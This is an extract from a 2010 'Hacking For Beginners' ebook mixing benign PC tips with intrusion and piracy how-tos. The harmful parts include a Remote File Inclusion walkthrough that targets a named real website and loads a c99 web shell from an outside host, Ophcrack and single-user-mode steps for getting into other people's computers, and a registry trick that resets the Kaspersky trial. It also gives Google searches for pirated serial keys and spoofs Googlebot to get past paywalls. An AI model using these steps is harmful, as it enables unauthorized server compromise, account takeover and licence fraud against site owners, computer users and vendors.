a console has only one console window.
co.Hacking For Beginners – Manthan Desai CTRL+H (Open the History bar) CTRL+I (Open the Favorites bar) CTRL+L (Open the Open dialog box) CTRL+N (Start another instance of the browser with the same Web address) CTRL+O (Open the Open dialog box.hackingtech. the same as CTRL+L) CTRL+P (Open the Print dialog box) CTRL+R (Update the current Web page) CTRL+W (Close the current window) 2010 www.tv Page 190 .
smartserials.keygenguru. Step 1:. you guarantee that any page being returned is a serial number list page. 2) Because94FBRis part of a serial number. This works great in Google. HOW DOES THIS WORK? Quite simple really.Hacking For Beginners – Manthan Desai 2010 33. www.com .tv Page 191 . "You can also use some serial number providing sites like www. you guarantee two things. www.com and type Nero 94FBR and it'll bring it up.co.hackingtech.com etc. How to find serial numbers on Google This is a little trick that I usually use to find CD keys with Google. 1) The pages that are returned are pages dealing specifically with the product you're wanting a serial for. By searching for the product name and94fbr.94FBRis part of an Office 2000 Pro CD key that is widely distributed as it bypasses the activation requirements of Office 2K Pro. for searching the serial number on any software".If you're looking for a serial number for Nero (for example) go to google. and only part of a serial number.
hackingtech. LPT4. YES the reason you can't create a folder with these names is because these are reserved keywords used by DOS. you know what happens! In Windows XP the folder name automatically changes back to "New Folder" no matter you try any number of times. LPT5. Auxiliary Device. Drive letters. LPT3.Z: COM1 LPT1 LPT2 LPT3 COM2 COM3 COM4 FUNCTION Key board and display. COM7. Bit-bucket device.tv Page 192 . How to create a CON folder in Windows Can you create a folder named "CON" in windows? The Answer is NO and YES! Why the answer is NO. COM3.and many others. www. LPT7. COM8. Why it is not possible to create a folder names CON? Before we proceed further. Third Parallel printer port. PRN. Fourth serial communication port. LPT2. System list device. usually a serial port. Third serial communication port. First parallel printer port. System real-time clock. and LPT9. COM4. let me tell you a small secret you can't even create a folder named CON. LPT8.Hacking For Beginners – Manthan Desai 2010 34. First serial communication port. COM2. LPT1. COM9. COM1. AUX. NUL. The below list is taken from Microsoft's website shows a list of reserved keywords in DOS. Where as in Windows Vista/7 when you try to rename the file you get an error message "The specified device name is invalid". usually a parallel port. Second Parallel printer port.co. COM6. COM5. NAME CON PRN AUX CLOCK$ NUL A: . Second serial communication port. LPT6. NO because when create a new folder and try to rename it to any one of the above specified names.
go to command prompt and type "MD \\. Instead of automatically renaming the folder. And this is what has caused the confusion. the name automatically changes back to the default "New Folder". again go to command prompt and type "RD \\.hackingtech.Hacking For Beginners – Manthan Desai 2010 If you try creating a folder with any of these names. But it is advisable not to do so. You cannot delete this folder by normal delete. www. had an explanatory warning message popped up. This can be done through command prompt. To delete the folder. See the screen-shot below. as it might result in your system becoming unstable. See the screen-shot below.co. or any other name from the above list of reserved keywords.\E:\CON" without quotes. This will create a folder named CON in E:.\E:\CON" (without quotes).tv Page 193 . To create a folder named CON. There is actually a way to create a folder named CON. Yes we can create a folder named CON.
tv Page 194 .tv/index/how_to_create_a_con_folder_in_windows/080#ixzz14sMiDwmJ www.co. Read more:http://www. as it might become unstable. In case you can't stop yourself.Hacking For Beginners – Manthan Desai 2010 I'll again recommend you not to try this on your system.hackingtech.co.hackingtech. don't do it on a drive on which Windows is installed (generally C:). So next time if any one tells you that we cannot rename a folder to con the create it and show them.
com. how can you prevent it happening? 1. If the IRQ number appears twice. Each device will try to hog a single IRQ for itself. Hardware conflict The number one reason why Windows crashes is hardware conflict. two of them may end up sharing the same IRQ number.driverguide. Anyone who uses Microsoft Windows will be familiar with this. It is easy to run out of them. it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer. When working inside a computer you should switch it off.hackingtech. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. a printer usually connects internally on IRQ 7.co. If there are a lot of devices. If you do this you will lose any unsaved information in all open applications. The best way to fix this problem is to remove the problem device and reinstall it." You have just been struck by the Blue Screen of Death." it says.tv Page 195 . What can you do? More importantly. To be fair to Microsoft. a crash can happen. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. as you may void the warranty). When the user tries to use both devices at the same time. Initially there were only eight IRQs. Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. For example. the problem with IRQ numbers is not of its making. two devices may be using it. The way to check if your computer has a hardware conflict is through the following route: * Start-Settings-Control Panel-System-Device Manager. A good resource is www. www. or a modem. There are plans to increase the number of IRQs in future designs.Hacking For Beginners – Manthan Desai 2010 35. Today there are 16 IRQs in a PC. or if they are not installed properly. unplug the mains lead and touch an unpainted metal surface to discharge any static electricity. These are supposed to be unique for each device. This can be ignored. "Enter to return to Windows or press Control-Alt-Delete to restart your computer. Sometimes you may have to find more recent drivers on the internet to make the device function properly. Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. Each hardware device communicates to other devices through an interrupt request channel (IRQ). 10 Reasons why PC's crash you must know Fatal error: The system has become unstable or is busy. If the device is a soundcard.
so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this. the information on a hard disk drive starts to become piecemeal or fragmented. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up. This may be due to free memory problems often linked to old Dos-based programs. Newer SDRam has a CAS latency of 2. BIOS settings Every motherboard is supplied with a range of chipset settings that are decided in the factory. That way. if you change something and the computer becomes more unstable. www. Microsoft Windows is better at allocating IRQ numbers than any BIOS. This can be adjusted by going to * Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk. to prevent the disk from causing a screen freeze. mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run the entire Ram at the slower speed. If possible set the IRQ numbers to Auto in the BIOS. It is best not to mix the two types. It is a good idea to defragment the hard disk every week or so. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard. EMM386 error messages refer to memory problems but may not be connected to bad Ram. as they can be easily damaged. This refers to the Ram. Parity error messages also refer to Ram. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is a good idea to write down on a piece of paper all the settings that appear on the screen. you will know what settings to revert to. But a fatal error caused by Ram might be caused by a mismatch of chips. For example. This can make it more stable. This will often crash the machine if the Ram is overworked. Once inside the BIOS. Go to * Start-Programs-Accessories-System Tools-Disk Defragmenter This will start the procedure. A fatal error indicates a serious hardware problem.hackingtech. A common BIOS error concerns the CAS latency. The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop). Hard disk drives After a few weeks. Bad RAM - 2010 RAM-(random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. Then try to repeat the circumstances that caused the crash. great care should be taken.). Sometimes it may mean a part is damaged and will need replacing. Older EDO (extended data out) Ram has a CAS latency of 3. or take some of them out. 3. as this can be a cause of trouble. Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimization. One way around this problem is to enter the BIOS settings and increase the wait state of the Ram.co.tv Page 196 .Hacking For Beginners – Manthan Desai 2. When handling Ram try not to touch the gold connections. 4. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.
Be careful at this point and make a note of everything you do in case you make things worse. A line of text describing your video card should appear. You are searching for a setting that will display a No Conflicts message. Fatal OE exceptions and VXD errors Fatal OE exception errors and VXD errors are often caused by video card problems. If you have video card hardware conflict. Make sure it does not have a hardware conflict. www.hackingtech. Do some housekeeping on your hard drive every few months and free some space on it. Another useful way to resolve video problems is to go to * Start-Settings-Control Panel-System-Performance-Graphics Here you should move the Hardware Acceleration slider to the left. Hard disk drives should be scanned every week for errors or bad sectors. Look for a message that says No Conflicts. making it impossible to start. Empty the Recycle Bin every week to free more space. The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. As ever. For most desktops. you will see it here. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Go to * Start-Settings-Control Panel-Display-Settings Here you should slide the screen area bar to the left. Look up your video card's manufacturer on the internet and search for the most recent drivers for it. Viruses Often the first sign of a virus infection is instability. 6. select the + beside Display Adapter. Then select Resources and select each line in the window. Take a look at the colour settings on the left of that window.tv Page 197 . 5. This is why it is a good idea to create a Windows start-up disk. high colour 16-bit depth is adequate. Go to * Start-Settings-Control Panel-Add/Remove Programs Here. Go to * Start-Settings-Control Panel-System-Device Manager Here. the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device). look for the Start Up Disk tab. These can often be resolved easily by reducing the resolution of the video display. Some viruses erase the boot sector of a hard drive.co. Go to * Start-Programs-Accessories-System Tools-Scandisk Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use. Select it (make it blue) and press properties.Hacking For Beginners – Manthan Desai 2010 Hard disks will slow down and crash if they are too full. Deleting the contents (not the folder) can free a lot of space. Virus protection requires constant vigilance. If the screen freezes or you experience system lockups it might be due to the video card.
co. Specialist cooling fans/heat sinks are available from www. These signatures are stored in a DAT file. Sometimes installing Windows is difficult because of unsuitable BIOS settings. Printers have only a small amount of memory. Windows 98 SE (Second Edition). If the Registry is damaged you will have to reinstall your operating system.com or www. but it should also be more stable. Booting up from a powerless state. Windows Millennium Edition (ME). 7. Overheating Central processing units (CPUs) are usually equipped with fans to keep them cool. www. made by Symantec (www. these might not be recognised. Safe Mode loads a minimum of drivers. also called a cold boot. then try entering the BIOS and disabling the CPU internal cache.com CPU problems can often be fixed by disabling the CPU internal cache in the BIOS.computernerd. An excellent antivirus program is McAfee Virus Scan by Network Associates (www.jv16. A good way to clear the buffer is to unplug the printer for ten seconds.tv Page 198 . If you keep getting SUWIN error messages (Windows setup) during the Windows installation.Hacking For Beginners – Manthan Desai 2010 A virus scanner requires a list of virus signatures in order to be able to identify viruses. Remember to restore all the BIOS settings back to their former settings following installation. Windows 98. When you see the message "Starting Windows" press F4.org Often a Windows problem can be resolved by entering Safe Mode. Reg Cleaner can be obtained from www.hackingtech. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. 8. often called a postscript file. Another is Norton Antivirus 2000. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.symantec.com).nai. Sometimes printers will not recover from a crash because of confusion in the buffer. This will make the machine run more slowly. It allows you to find and fix problems that prevent Windows from loading properly. It works on Windows 95. will restore the printer's default settings and you may be able to carry on. 9. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This can be easily overloaded. and can crash the computer. This will also slow down the computer's performance. If the printer is trying to print unusual characters. Printing a document also uses a considerable amount of CPU power. Often the problem can be cured by uninstalling the software and then reinstalling it. This should take you into Safe Mode. NT4 and Windows 2000.com). DAT files should be updated weekly from the website of your antivirus software manufacturer. This can be done during start-up. called a buffer. Printers The action of sending a document to print creates a bigger file.coolit. This is a common problem in chips that have been over clocked to operate at higher speeds than they are supposed to. One remedy is to get a bigger better fan and install it on top of the CPU. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. Try to disable the Level 2 (L2) cache if that doesn't work. Softwares A common cause of computer crash is faulty or badly-installed software. Read the instructions and use it carefully so you don't do permanent damage to the Registry. The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled.
It is a good investment if your data are critical. A power surge or spike can crash a computer as easily as a power cut.Hacking For Beginners – Manthan Desai 10.hackingtech. Power supply problems - 2010 With all the new construction going on around the country the steady supply of electricity has become disrupted.co. and it will give you a few minutes to perform a controlled shutdown in case of a power cut. If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). www.tv Page 199 . This will give you a clean power supply when there is electricity. because a power cut will cause any unsaved data to be lost.
Delete old key and turn off self defense (Settings-Options in kaspersky and turn off Enable self-defense.hackingtech. and click OK). they simply make the changes in the registry and change identification of your computer to the Kaspersky server. open the Kaspersky and when you activate searching trial license and you have new license of a peaceful month.tv Page 200 . Go to Kaspersky settings and turn on self-defense. Step 1. Go to Start-Programs menu. How to use Kaspersky for lifetime How to use Kaspersky for Lifetime without Patch Generally Kaspersky provide us 30 days trial period on its Anti-virus Product. "Patching the antivirus like this is illegal this tutorial is for educational purpose only.Hacking For Beginners – Manthan Desai 2010 36. This is hardly a 2 minute job and you got again a trial period of 30 days. Step 6. and there is no rush for more keys. Right click on Kaspersky icon in the task bar and choose exit.co. Step 4. So there are the few steps that you have to perform when your trial license going to expire after 30 days for getting a new trial license. Right look for PCID and right click and modify three or four last numbers or letters example: (8F10C22F-6EF6-4378-BAB1-34722F6D454) and enter any other three-letter four-number and close the Registry Editor. Open Registry editor (click start in windows menu then go to run and write regedit and click Ok) and go through These: For 32bit OS: HKEY_LOCAL_MACHINE \ SOFTWARE \ KasperskyLab \ protected \ AVP9 \ environment For 64bit OS: HKEY_LOCAL_MACHINE \ SOFTWARE \ Wow6432Node \ KasperskyLab \ protected \ AVP9 \ environment Step 3. thus Kaspersky log server recognizes you as a new user and assigns you new trial license." www. Step 5. Step 2. Note : Most of the patches that you will found on the net are basically work on that trick.
you are confronted with a registration page instead. Disguise as google bot to view hidden data Disguise as Google Bot to view Hidden Content of a Website Have you ever experienced this? You ask Google to search something and it will return a lot of relevant search results. How to Disguise as Google Bot? It is quite simple.reg .Net Magazine. Nature. . Step 4:. leave a backdoor open for the GoogleBot because a prominent presence in Google searches is known to generate sales leads.reg" Step 2:-Now Double-Click on the file Useragent.hackingtech.hackingtech.0\User Agent] @="Googlebot/2.googlebot.Now restart your computer.html" "Direct Download From Here: http://www.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5. You just need to change your browser's User Agent.com/bot.tv/useragent. Windows Registry Editor Version 5. and many other sites around the globe. Examples of such sites are ExpertExchange.Copy the following code segment into a notepad file and save it as Useragent.1″ "Compatible"="+http://www. but if you try to open the ones with the most promising content.co.co. This means that Google is able to see what a normal surfer cannot see.reg to merge the registry file into your Windows Registry. To change your Browser's User Agent follows the steps given below: Step 1:. The reason behind this is that Google uses a Bot called GoogleBot and most of websites which force users to register or even pay in order to search and use their content. and the stuff you were looking for will not be revealed to you unless you agree to a credit card transaction first. What if you could disguise as GoogleBot then you can also see what GoogleBot can.tv Page 201 . www. site hits and exposure.Viola! You're done! Now you have become Google Bot. This is required to apply the changes made into the Registry.Hacking For Beginners – Manthan Desai 2010 37. Windows Magazine. Step 3:.
0 (compatible.0.Now you may change the user agent on the fly.org/en-US/firefox/addon/59 " Step 1:.tv Page 202 . "Download User Agent Switcher extension for Firefox from Here: https://addons. Step 3:.google. +http://www.hackingtech.com/bot.google.google.1)" "Direct Download From Here: http://www. MSIE 6.1. 2010 Windows Registry Editor Version 5.mozilla. Follow the Given Steps Below: Step 1:.html Vendor: Vendor Sub: Step 4:.0 (compatible. Step 3:. Description: GoogleBot User Agent: Mozilla/5.com/bot.tv/normalagent.reg to merge the registry file into your Windows Registry. Googlebot/2.html) App Name: GoogleBot App Version: 5.html) Platform: +http://www.Click "OK". "This is For Educational purpose do not hack any website through this.co.Click" Add" and fill the following information in the form.reg" Step 2:-Now Double-Click on the file Normalagent.hackingtech.Now Go to Tools -> User Agent Switcher -> Options -> Options.co. For Firefox users: Just download User Agent Switcher extension for Firefox.Now restart your computer. Windows NT 5.reg . This is required to apply the changes made into the Registry. For Opera Users: Opera allows on-the-fly for switching of User Agents through its "Browser Identification" function. +http://www.com/bot. Googlebot/2.1.0\User Agent] @="Mozilla/4. Step 5:." www.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.Copy the following code segment into a notepad file and save it as Normalagent. Step 2:.0 (compatible.Click "User Agents.Hacking For Beginners – Manthan Desai How revert back to Normal Agent? For IE users: To restore the IE User Agent.
Hacking For Beginners – Manthan Desai 2010 38. Step 3:.facebook. (Google Chrome recommended) Step 2:-Then Login to Your Account.co. How to download Facebook Videos In This Tutorial I Will Explain You How to Download the Facebook Videos from your friends profile easily.First Of all open http://m.hackingtech.After Logging in to your account go The Video page (Fig-1) (Fig-1) (Fig-2) www. Step 1:.com on your PC browser.tv Page 203 .
co. (Fig-2) Step 5:. www.Click on the External Link and a new window Will Open.html " Step 7:.Now Paste this in the Internet Download Manager.internetdownloadmanager. "Download 'Internet Download manager' from here: http://www.Copy The URL of The Window.Hacking For Beginners – Manthan Desai Step 4:.com/download.Click OK and You are done the video from your friends profile will be downloaded without any streaming.tv Page 204 .hackingtech. 2010 Step 6:. add URL Window.
Targetsite.Hacking For Beginners – Manthan Desai 2010 39. www.php?page=" This will show all the pages which has "index.com/index.tv Page 205 .php?page=http://www.com Let's say that the target website is http://www.cbspk. Now to test whether the website is vulnerable to Remote file Inclusion or not the hacker use the following command www.php?page=" in their URL. Searching the Vulnerability Remote File inclusion vulnerability is usually occurred in those sites which have a navigation similar to the below one www.com If after executing the command the homepage of the google shows up then the website is vulnerable to this attack if it does not come up then you should look for a new target. In my case after executing the above command in the address bar Google homepage shows up indicating that the website is vulnerable to this attack.google.hackingtech. This type of vulnerability allows the Hacker or attacker to add a remote file on the web server.cbspk.com So the hacker URL will become http://www.php?page=www. Hack a website by Remote File Inclusion Another website attack named Remote file inclusion is basically a one of the most common vulnerability found in web application. If the attacker gets successful in performing the attack he/she will gain access to the web server and hence can execute any command on it.com/index.co.com/v2/index.targetsite.google.php?page=Anything To find the vulnerability the hacker will most commonly use the following Google Dork "inurl:index.
hackingtech.hackingtech.zip ".com/yourdomain/c99.com/v2/index. I would use c99 shell.ripway.tv Page 206 . The most common shells used are c99 shell or r57 shell.tv/RFI/c99shell. www.php?page=http://h1.co.cbspk.ripway.txt Now here is how a hacker would execute the following command to gain access http://www.com etc.co.txt? Remember to add "?" at the end of url or else the shell will not execute. Now here is how a hacker would execute the shells to gain access. " The hacker would first upload the shells to a web hosting site such as ripway.com/yourdomain/c99.com. Now the hacker is inside the website and he could do anything with it "This Tutorial is for educational purpose only please do not hack any website listed here and try to damage their data.Hacking For Beginners – Manthan Desai 2010 Now the hacker would upload the shells to gain access. 110mb. "Download 'Internet Download manager' from here: http://www. Let's say that the URL of the shell is http://h1.
For example while signing up for a new email account. but only a few are aware of what it is and why they are used. www. This can affect millions of legitimate users and their requests.co. CAPTCHA is the word verification test that you will come across the end of a sign-up form while signing up for Gmail or Yahoo account.hackingtech. What is the Need to Create a Test that Can Tell Computers and Humans Apart? For many the CAPTCHA may seem to be silly and annoying. but in fact it has the ability to protect systems from malicious attacks where people try to game the system. Almost every Internet user will have an experience of CAPTCHA in their daily Internet usage.Hacking For Beginners – Manthan Desai 2010 40. whether due to abuse or resource expenditure. you will come across a CAPTCHA at the end of the sign-up form so as to ensure that the form is filled out only by a legitimate human and not by any of the automated software or a computer bot. Yahoo and Hotmail. In simple words. CAPTCHAs can be deployed to protect systems that are vulnerable to email spam. Attackers can make use of automated software's to generate a huge quantity of requests thereby causing a high load on the target server which would degrade the quality of service of a given system. What is CAPTCHA and how it works? CAPTCHA or Captcha (pronounced as cap-ch-uh) which stands for "Completely Automated Public Turing test to tell Computers and Humans Apart" is a type of challenge-response test to ensure that the response is only generated by humans and not by a computer. The following image shows the typical samples of CAPTCHA. such as the services from Gmail. What Purpose does CAPTCHA Exactly Serve? CAPTCPA is mainly used to prevent automated software (bots) from performing actions on behalf of actual humans. The main goal of CAPTCHA is to put forth a test which is simple and straight forward for any human to answer but for a computer. it is almost impossible to solve.tv Page 207 . So in this post you will find detailed information on how CAPTCHA works and why they are used.
Webbased email services like Gmail. CAPTCHAs rely on a visual test. However upon each sign-up process. but almost impossible for a computer. The user is asked to select only those images which contain animals in them. but it can work often enough to be worthwhile to spammers. Breaking the CAPTCHA The challenge in breaking the CAPTCHA lies in real hard task of teaching a computer how to process information in a way similar to how humans think. This Turing test can easily be solved by any human. For example.co. but not all. CAPTCHAs are implemented by presenting users with an image which contains distorted or randomly stretched characters which only humans should be able to identify. This is because computers lack the real intelligence that humans have by default. It might not work 100 percent of the time. Some Websites implement a totally different CAPTCHA system to tell humans and computers apart. Designing a CAPTCHA System CAPTCHAs are designed on the fact that computers lack the ability that human beings have when it comes to processing visual data. Most.Hacking For Beginners – Manthan Desai Who Uses CAPTCHA? 2010 CAPTCHAs are mainly used by websites that offer services like online polls and registration forms. a user is presented with 4 images in which 3 contains picture of animals and one contain a flower.hackingtech. www. Yahoo and Hotmail offer free email accounts for their users. It is more easily possible for humans to look at an image and pick out the patterns than a computer. However there is no universal algorithm that could pass through and break any CAPTCHA system and hence each CAPTCHA algorithm must have to be tackled individually.tv Page 208 . CAPTCHAs are used to prevent spammers from using a bot to generate hundreds of spam mail accounts. Sometimes characters are striked out or presented with a noisy background to make it even harder for computers to figure out the patterns. For example. Algorithms with artificial intelligence (AI) will have to be designed in order to make the computer think like humans when it comes to recognizing the patterns in images.
restart the computer. Insert the CD into a machine you would like to gain access to.net There is another hack possible with the same technique using a CD named "Hiren Boot CD" for hacking Windows password.html Now Lets Continue With www. You can download OphCrack from the following link: http://ophcrack. The time required to solve a password? Generally 10 seconds. So let's start with the common OS Windows Windows being very popular has a lot of programs available which can be used to hack the login password. Simply download the Ophcrack ISO and burn it to a CD (or load it onto a USB drive via UNetbootin). Ophcrack is based on Slack ware. and uses rainbow tables to solve passwords up to 14 characters in length. Are you curious how easy it is for someone to gain access to your computer? If so.co.hirensbootcd. read on to see the technique one might use to figure out your computer password. and log in as if it were you own machine.hackingtech. Sit back and watch as it does all the work for your.Hacking For Beginners – Manthan Desai 2010 41. One of the most successful programs is Ophcrack. So today I will show you how to hack into these Operating Systems. Hack Password of any Operating System How to Hack Password of any Operating System Today we will learn how to hack and gain the access of a PCs operating system as one thing any hacker should know is how to hack into login account of any operating system. The expertise needed? None. Change the boot sequence to CD before HDD. Linux and Mac. You can download OphCrack from the following link: http://www.sourceforge. then press and hold the power button until the computer shuts down. Major Operating Systems that are used these days are Windows. Write down the password it gives you. remove the disc. The computer will restart and Ophcrack will be loaded.net/download. then save and exit. Turn the computer back on and enter BIOS at startup.tv Page 209 . and it is free.
And finally hacking the Mac Finally we take on Mac's OS X which as we said earlier is based on UNIX and is difficult to change password compared to Linux but nothing is impossible to be hacked.plist dscl . restart the computer and press COMMAND + S. but not so common that you're likely to come across it.tv Page 210 . However. When it starts up. Insert it into the computer. Though Mac and Linux are both based on UNIX.co.apple. turn on the computer and press the ESC key when GRUB appears. Now that the password is reset. The easiest method would be to use Ophcrack on this also as it works with Mac and Linux in addition to Windows. If the Mac runs OS X 10.5. there are other methods that can be used. it is easier to change the password in Linux than it is OS X. this will cause you to enter 'Single User Mode'. This will change the root password to whatever you enter. you can login. When at the prompt. Choose a new password and then use that to log in.hackingtech. If you're interested in only gaining access to a single account on the system. If the Mac runs OS X 10. and logged in as 'root' by default. then type 'passwd username' replacing 'username' with the login name for the account you would like to alter the password for. www. however. reboot. then you only need the installation CD.4. -passwd /Users/UserName newpassword That's it. as demonstrated below. You're now at the prompt.DirectoryServices. Scroll down and highlight 'Recovery Mode' and press the 'B' key. select UTILITIES > RESET PASSWORD. "This Tutorial is for educational purpose only please do not hack any computer and their OS and try to damage their data. type: fsck -fy mount -uw / launchctl load /System/Library/LaunchDaemons/com. To change the password. Type 'passwd' and then choose a new password.Hacking For Beginners – Manthan Desai Linux - 2010 Linux is an operating system which is quickly gaining popularity in mainstream.
www.NET classes implementing a particular operation. specialized . Windows PowerShell also provides a hosting mechanism with which the Windows PowerShell runtime can be embedded inside other applications. Let us now Study About the built-in PowerShell security features as well as some additional security you can configure once in PowerShell.co. Windows PowerShell includes its own extensive. graphical interface-based management applications on Windows are layered on top of Windows PowerShell. consisting of a command-line shell and associated scripting language built on top of. just that you must be in the PowerShell interface before you can do much of anything. console-based help. There are built in security features.NET Framework. enabling administrators to perform administrative tasks on both local and remote Windows systems. With PowerShell. In the future all Microsoft applications running on the Windows platform are to be PowerShell aware. executables (which are standalone applications). Other Microsoft applications including Microsoft SQL Server 2008 also expose their management interface via PowerShell cmdlets. similar to man pages in UNIX shells via the GetHelp cmdlet. administrative tasks are generally performed by cmdlets (pronounced command-lets). This in itself is security. Sets of cmdlets may be combined together in scripts. PowerShell provides full access to COM and WMI. some default security measures that are there by design to help ensure that anyone with malicious intent is denied their efforts. In PowerShell. or by instantiating regular .Hacking For Beginners – Manthan Desai 2010 42. Not that this is security related. These applications then leverage Windows PowerShell functionality to implement certain operations. There are however. This capability has been utilized by Microsoft Exchange Server 2007 to expose its management functionality as PowerShell cmdlets and providers and implement the graphical management tools as PowerShell hosts which invoke the necessary cmdlets. These work by accessing data in different data stores. which are made available to the PowerShell runtime via Windows PowerShell providers. and integrated with.tv Page 211 . the . it does! PowerShell is not just your routine scripting language. PowerShell Default Security Just getting to the PowerShell interface can be a task for some. including those exposed via the graphical interface.NET classes (or WMI/COM Objects). With all of the effort and sweat that has gone into PowerShell.hackingtech. like the file system or registry. it had better come with some advanced security. Windows PowerShell Security in brief First of all the question arises in your mind is that what is Windows PowerShell??? Windows PowerShell is Microsoft's task automation framework. Well. as well as some additional security you can configure once in PowerShell.
This is so that malicious scripts attempting to intercept cmdlets and command names will fail. as shown in Figure 2.tv Page 212 . the script runs without a hitch Why am I Restricted? Another default setting that is directly related to security is the fact that all scripts must be run interactively. This is a security measure that ensures that PowerShell scripts cannot be executed from a script based virus. look at what happens when you run the script including the path to the script. Figure 1 illustrates what happens when you just try to run Example. This means that you must be at the PowerShell interface and run the script in real time for it to function. as shown in Figure 3.Hacking For Beginners – Manthan Desai What is in a path? 2010 The first default security measure that you will encounter is that fact that PowerShell won't run scripts that are in the current folder.ps1 from the C:\scripts folder.ps1 without a path. if you wanted to run a script named Example. you would need to include the full path to the script. Figure 1: Scripts must include the path to the script to run successfully Now. even if you were in the C:\scripts folder within PowerShell. The Execution Policy by default is set to Restricted.co. For example. This default setting is associated with the Execution Policy setting within PowerShell.hackingtech. Figure 3: The Execution Policy by default is set to Restricted to secure the execution of remote PowerShell scripts www. Figure 2: When the path is included with the script.
you must get PowerShell on each computer. There are no prompts before running the script. you will need to reset the level of Execution Policy before you can run your scripts. so Windows Update can also push out the installation of PowerShell. scripts that you create and put on a system won't run. The four levels and the requirements include: Restricted This is the default configuration in PowerShell. The only things that can be run in PowerShell with this setting are individual commands. but if scripts can't run on computers in your environment. as shown in Figure 4. Therefore. There will be a prompt before you run the scripts from trusted publishers. You can either use a ZAP file or push it out using Group Policy. Setting the Execution Policy Level There are four levels of the Execution Policy. just type set-execution policy <level>. but requires that the script and configuration files that are downloaded from the Internet have an associated digital signature from a trusted publisher.Hacking For Beginners – Manthan Desai Going Beyond the Defaults: 2010 The default Execution Policy in PowerShell is very secure. Still exposes you to scripts that are signed. Remote Signed This setting allows scripts to be run. from anywhere. Figure 4: Setting the Execution Policy is as easy as running the set-execution policy command. To set anyone of these levels. All Signed This setting does allow scripts to run in PowerShell. The script must have an associated digital signature from a trusted publisher. Keep in mind that PowerShell is considered a hot fix. www. So. including all scripts and configuration files downloaded from the Internet. The risk here is running scripts without any signature or security. scripts. Unrestricted This is not a suggested setting! This allows unsigned scripts to run. it is very easy to install the application. regardless of its signature. It does not allow for any scripts to be run. Scripts that you download from the Internet won't run. Scripts that you even sign and secure to the nth degree won't run. it does have limitations.co. These four levels provide you with great security over what scripts can run and what requirements need to be associated with the script to run. First. This setting means that no script can run. or you can use your current centralized method of installing applications.tv Page 213 . This will include files from Outlook and Messenger. but malicious. Since PowerShell is installed via an EXE. Scripts run from local computer don't need to be signed.hackingtech. This exposes you to running signed. Using Group Policy PowerShell is great. yet malicious.
as shown in Figure 5.Hacking For Beginners – Manthan Desai 2010 After you get PowerShell installed. this is great security! The file you need to import into the Group Policy Object Editor is Power Shell Extension Policy. as shown in Figure 6. However. After downloading. you will have two new nodes in your Group Policy Object. If nothing else. we just investigated that you need to enable scripts to run. One will be at Computer Configuration\Administrative Templates\Windows Components\Windows PowerShell and the other at User Configuration\Administrative Templates\Windows Components\Windows PowerShell. After installation. you will need to install the MSI. I will admit.hackingtech. the ADM file is shoved under the C:\program files\Microsoft Group Policy folder. you can also use Group Policy to get this done for you. With the Execution Policy set at Restricted as a default. you will see that you have three options for a setting. it is not the cleanest or most efficient install. or download the ADM template that Microsoft provides for you. Of course. you need to configure every computer to run scripts.tv Page 214 . This could take days if you are trying to do this manually.co. ADM After importing. Figure 5: PowerShell ADM template adds settings to Computer Configuration and User Configuration for script execution When you go to configure this policy. www. I suggest you do the latter by downloading the ADM template. you could create your own Administrative Template (ADM file) to make this change. that will run scripts.
Even if you have created a . With all of the attention that PowerShell is getting. being able to set the execution policy and control PowerShell through Group Policy gives centralized control over PowerShell security.hackingtech. with default security features. Beyond the defaults. Even if you can get to the PowerShell interface. The fact that the scripts are set to have a restricted execution policy is fantastic.PS1 file. With Windows Server 2008 coming out in early 2008. everyone is hoping that it comes with security already built-in. PowerShell will take off like a rocket ship. www. the worry is over.Hacking For Beginners – Manthan Desai Summary 2010 PowerShell is the new kid on the block.co. that script being associated with Notepad is nice default security. PowerShell provides security directly out of the box. Well. the fact that the path to the script must be typed in adds value.tv Page 215 .
